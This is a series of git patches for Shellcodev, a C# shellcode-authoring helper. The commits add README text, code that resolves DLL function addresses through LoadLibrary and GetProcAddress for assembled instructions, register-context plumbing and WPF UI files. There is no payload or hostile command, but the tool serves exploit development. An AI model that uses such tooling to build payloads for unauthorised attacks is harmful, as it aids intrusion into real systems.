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 b!m4_#tgfDI*1S6j|LAEM?t8SyCg}eFim^9? literal 0 HcmV?d00001 From 039d5dfebd6f539fcc830249182148538126fadc Mon Sep 17 00:00:00 2001 From: Xawery <40365455+XaFF-XaFF@users.noreply.github.com> Date: Sun, 7 Nov 2021 13:31:48 +0100 Subject: [PATCH 36/64] Update README.md --- README.md | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index d7af652..02334cb 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,8 @@ -# Shellcodev -Shellcodev is a tool designed to help and automate the process of shellcode creation. +
+

Shellcodev

+

Shellcodev is a tool designed to help and automate the process of shellcode creation.

+ Shellcodev's logo +
### Features 1. Snippets @@ -14,8 +17,10 @@ Shellcodev is a tool designed to help and automate the process of shellcode crea ``` "string" Automatically converts string into hex and encodes it with little endian. If string contains nullbytes it's being XORed to avoid shellcode termination. - Stack is build vice versa + Stack is build vice versa. -.dll.function Automatically extracts function address from dll. Address is getting converted - into hex and encoded with little endian +.dll.function [TODO] Automatically extracts function address from dll. Address is getting converted + into hex and encoded with little endian. ``` + +### [TODO] Snippets examples From 1fc1833714f0c18295c71cc0a7f976a2063b9696 Mon Sep 17 00:00:00 2001 From: XaFF Date: Sun, 7 Nov 2021 14:22:00 +0100 Subject: [PATCH 37/64] Automatic address extraction from dll function --- Shellcodev/Core/Instruction.cs | 17 +++++++++++++++++ Shellcodev/Core/Registers.cs | 18 +++++++++++------- Shellcodev/Core/Snippet.cs | 9 +++++++++ 3 files changed, 37 insertions(+), 7 deletions(-) diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index b75cd33..f6a2e87 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -113,6 +113,23 @@ public Instruction(string instruction) parser.SnippetParser(main, register, bytes); parser.SnippetAppender(main, register, bytes); } + else if(instruction.Contains(".")) + { + string[] split = instruction.Split('.'); + if (split.Length < 3) + return; + + string hex = parser.GetAddress(split[1], split[2]); + + int rows = main.instructionGrid.Rows.Add(rowId); + DataGridViewRow row = main.instructionGrid.Rows[rows]; + + row.Cells["Instruction"].Value = instruction; + row.HeaderCell.Value = (row.Index + 1).ToString(); + + tempBytes = handler.Assembler(split[0] + hex); + main.ByteAppender(tempBytes); + } else { int rows = main.instructionGrid.Rows.Add(rowId); diff --git a/Shellcodev/Core/Registers.cs b/Shellcodev/Core/Registers.cs index 32ba20f..578d53b 100644 --- a/Shellcodev/Core/Registers.cs +++ b/Shellcodev/Core/Registers.cs @@ -3,9 +3,9 @@ using System.Runtime.InteropServices; using System.Windows.Forms; -namespace Shellcodev.Core +namespace Shellcodev.CONTEXTS { - internal class API + class API { [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentThread(); @@ -80,10 +80,14 @@ public struct CONTEXT public byte[] ExtendedRegisters; } } +} + +namespace Shellcodev.Core +{ class Registers { - private void RegisterParser(API.CONTEXT context, string[] split) + private void RegisterParser(CONTEXTS.API.CONTEXT context, string[] split) { var main = Main.ReturnInstance(); @@ -107,14 +111,14 @@ private void RegisterParser(API.CONTEXT context, string[] split) public void SetRegisters() { var main = Main.ReturnInstance(); - var context = new API.CONTEXT(); + var context = new CONTEXTS.API.CONTEXT(); - context.ContextFlags = (uint)API.CONTEXT_FLAGS.CONTEXT_ALL; - IntPtr hThread = API.GetCurrentThread(); + context.ContextFlags = (uint)CONTEXTS.API.CONTEXT_FLAGS.CONTEXT_ALL; + IntPtr hThread = CONTEXTS.API.GetCurrentThread(); string[] split = main.pointersBox.Text.Split(' '); - if (API.GetThreadContext(hThread, ref context)) + if (CONTEXTS.API.GetThreadContext(hThread, ref context)) { RegisterParser(context, split); } diff --git a/Shellcodev/Core/Snippet.cs b/Shellcodev/Core/Snippet.cs index cfa17c3..ecf10e8 100644 --- a/Shellcodev/Core/Snippet.cs +++ b/Shellcodev/Core/Snippet.cs @@ -5,6 +5,15 @@ namespace Shellcodev.Core { class Snippet { + public string GetAddress(string dll, string function) + { + var lib = API.LoadLibrary(dll+".dll"); + var procaddr = API.GetProcAddress(lib, function); + string hexValue = procaddr.ToString("X"); + + return "0x" + hexValue; + } + private static int rowId = 1; public void SnippetParser(Main instance, string register, string[] bytes) { From fbb8d0d728de2030a6d36e4b894475cb29a93718 Mon Sep 17 00:00:00 2001 From: Xawery <40365455+XaFF-XaFF@users.noreply.github.com> Date: Sun, 7 Nov 2021 14:22:14 +0100 Subject: [PATCH 38/64] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 02334cb..1ad2f33 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ If string contains nullbytes it's being XORed to avoid shellcode termination. Stack is build vice versa. -.dll.function [TODO] Automatically extracts function address from dll. Address is getting converted +.dll.function Automatically extracts function address from dll. Address is getting converted into hex and encoded with little endian. ``` From 4a6253911853939d43da6411d905369d84c867b7 Mon Sep 17 00:00:00 2001 From: XaFF Date: Sun, 7 Nov 2021 14:24:49 +0100 Subject: [PATCH 39/64] Changed how row is being appended --- Shellcodev/Core/Instruction.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index f6a2e87..8344425 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -124,7 +124,7 @@ public Instruction(string instruction) int rows = main.instructionGrid.Rows.Add(rowId); DataGridViewRow row = main.instructionGrid.Rows[rows]; - row.Cells["Instruction"].Value = instruction; + row.Cells["Instruction"].Value = split[0] + hex; row.HeaderCell.Value = (row.Index + 1).ToString(); tempBytes = handler.Assembler(split[0] + hex); From 3302f1c53d639265c162bca6d0f1fc6d51d3d473 Mon Sep 17 00:00:00 2001 From: XaFF-XaFF Date: Sun, 7 Nov 2021 21:23:36 +0100 Subject: [PATCH 40/64] Added todo --- readme/todo.txt | 1 + 1 file changed, 1 insertion(+) create mode 100644 readme/todo.txt diff --git a/readme/todo.txt b/readme/todo.txt new file mode 100644 index 0000000..15600aa --- /dev/null +++ b/readme/todo.txt @@ -0,0 +1 @@ +Show at runtime register values \ No newline at end of file From 1e0bdda21a4a92e763b030a373dae6bc0719ebac Mon Sep 17 00:00:00 2001 From: "barttek.moj@gmail.com" Date: Mon, 8 Nov 2021 20:15:57 +0100 Subject: [PATCH 41/64] UI push --- Shellcodev.sln | 30 ++- Shellcodevv/App.config | 6 + Shellcodevv/App.xaml | 18 ++ Shellcodevv/App.xaml.cs | 17 ++ Shellcodevv/Assets/ButtonTheme.xaml | 52 ++++++ Shellcodevv/Assets/RichTxtTheme.xaml | 63 +++++++ Shellcodevv/Assets/TextboxTheme.xaml | 64 +++++++ Shellcodevv/Icons/close-button.png | Bin 0 -> 500 bytes Shellcodevv/Icons/minus-sign.png | Bin 0 -> 347 bytes Shellcodevv/MainWindow.xaml | 183 +++++++++++++++++++ Shellcodevv/MainWindow.xaml.cs | 47 +++++ Shellcodevv/Properties/AssemblyInfo.cs | 55 ++++++ Shellcodevv/Properties/Resources.Designer.cs | 70 +++++++ Shellcodevv/Properties/Resources.resx | 117 ++++++++++++ Shellcodevv/Properties/Settings.Designer.cs | 29 +++ Shellcodevv/Properties/Settings.settings | 7 + Shellcodevv/Shellcodevv.csproj | 114 ++++++++++++ 17 files changed, 870 insertions(+), 2 deletions(-) create mode 100644 Shellcodevv/App.config create mode 100644 Shellcodevv/App.xaml create mode 100644 Shellcodevv/App.xaml.cs create mode 100644 Shellcodevv/Assets/ButtonTheme.xaml create mode 100644 Shellcodevv/Assets/RichTxtTheme.xaml create mode 100644 Shellcodevv/Assets/TextboxTheme.xaml create mode 100644 Shellcodevv/Icons/close-button.png create mode 100644 Shellcodevv/Icons/minus-sign.png create mode 100644 Shellcodevv/MainWindow.xaml create mode 100644 Shellcodevv/MainWindow.xaml.cs create mode 100644 Shellcodevv/Properties/AssemblyInfo.cs create mode 100644 Shellcodevv/Properties/Resources.Designer.cs create mode 100644 Shellcodevv/Properties/Resources.resx create mode 100644 Shellcodevv/Properties/Settings.Designer.cs create mode 100644 Shellcodevv/Properties/Settings.settings create mode 100644 Shellcodevv/Shellcodevv.csproj diff --git a/Shellcodev.sln b/Shellcodev.sln index 907f5a8..783def8 100644 --- a/Shellcodev.sln +++ b/Shellcodev.sln @@ -1,7 +1,7 @@  Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 17 -VisualStudioVersion = 17.0.31717.71 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30907.101 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Shellcodev", "Shellcodev\Shellcodev.csproj", "{B00C54FA-DB0D-41B7-951E-39BD93D9FE20}" EndProject @@ -9,6 +9,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstructionHandler", "Instr EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestDLL", "TestDLL\TestDLL.csproj", "{AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}" EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Shellcodevv", "Shellcodevv\Shellcodevv.csproj", "{0740617B-C558-4508-9C12-BD90713B419E}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -95,6 +97,30 @@ Global {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.RelWithDebInfo|x64.Build.0 = Release|Any CPU {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.RelWithDebInfo|x86.ActiveCfg = Release|Any CPU {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.RelWithDebInfo|x86.Build.0 = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|x64.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|x64.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|x86.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|x86.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|Any CPU.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|Any CPU.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|x64.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|x64.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|x86.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|x86.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Release|Any CPU.Build.0 = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Release|x64.ActiveCfg = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Release|x64.Build.0 = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Release|x86.ActiveCfg = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Release|x86.Build.0 = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|Any CPU.ActiveCfg = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|Any CPU.Build.0 = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|x64.ActiveCfg = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|x64.Build.0 = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|x86.ActiveCfg = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|x86.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/Shellcodevv/App.config b/Shellcodevv/App.config new file mode 100644 index 0000000..193aecc --- /dev/null +++ b/Shellcodevv/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Shellcodevv/App.xaml b/Shellcodevv/App.xaml new file mode 100644 index 0000000..eb10575 --- /dev/null +++ b/Shellcodevv/App.xaml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + diff --git a/Shellcodevv/App.xaml.cs b/Shellcodevv/App.xaml.cs new file mode 100644 index 0000000..4ffbdd9 --- /dev/null +++ b/Shellcodevv/App.xaml.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Configuration; +using System.Data; +using System.Linq; +using System.Threading.Tasks; +using System.Windows; + +namespace Shellcodevv +{ + /// + /// Logika interakcji dla klasy App.xaml + /// + public partial class App : Application + { + } +} diff --git a/Shellcodevv/Assets/ButtonTheme.xaml b/Shellcodevv/Assets/ButtonTheme.xaml new file mode 100644 index 0000000..216b425 --- /dev/null +++ b/Shellcodevv/Assets/ButtonTheme.xaml @@ -0,0 +1,52 @@ + + + + + \ No newline at end of file diff --git a/Shellcodevv/Assets/RichTxtTheme.xaml b/Shellcodevv/Assets/RichTxtTheme.xaml new file mode 100644 index 0000000..5f2d9a8 --- /dev/null +++ b/Shellcodevv/Assets/RichTxtTheme.xaml @@ -0,0 +1,63 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Shellcodevv/Assets/TextboxTheme.xaml b/Shellcodevv/Assets/TextboxTheme.xaml new file mode 100644 index 0000000..cac6efe --- /dev/null +++ b/Shellcodevv/Assets/TextboxTheme.xaml @@ -0,0 +1,64 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Shellcodevv/Icons/close-button.png b/Shellcodevv/Icons/close-button.png new file mode 100644 index 0000000000000000000000000000000000000000..22b1d7cacfe710bb2a09508fb559308d1e71667a GIT binary patch literal 500 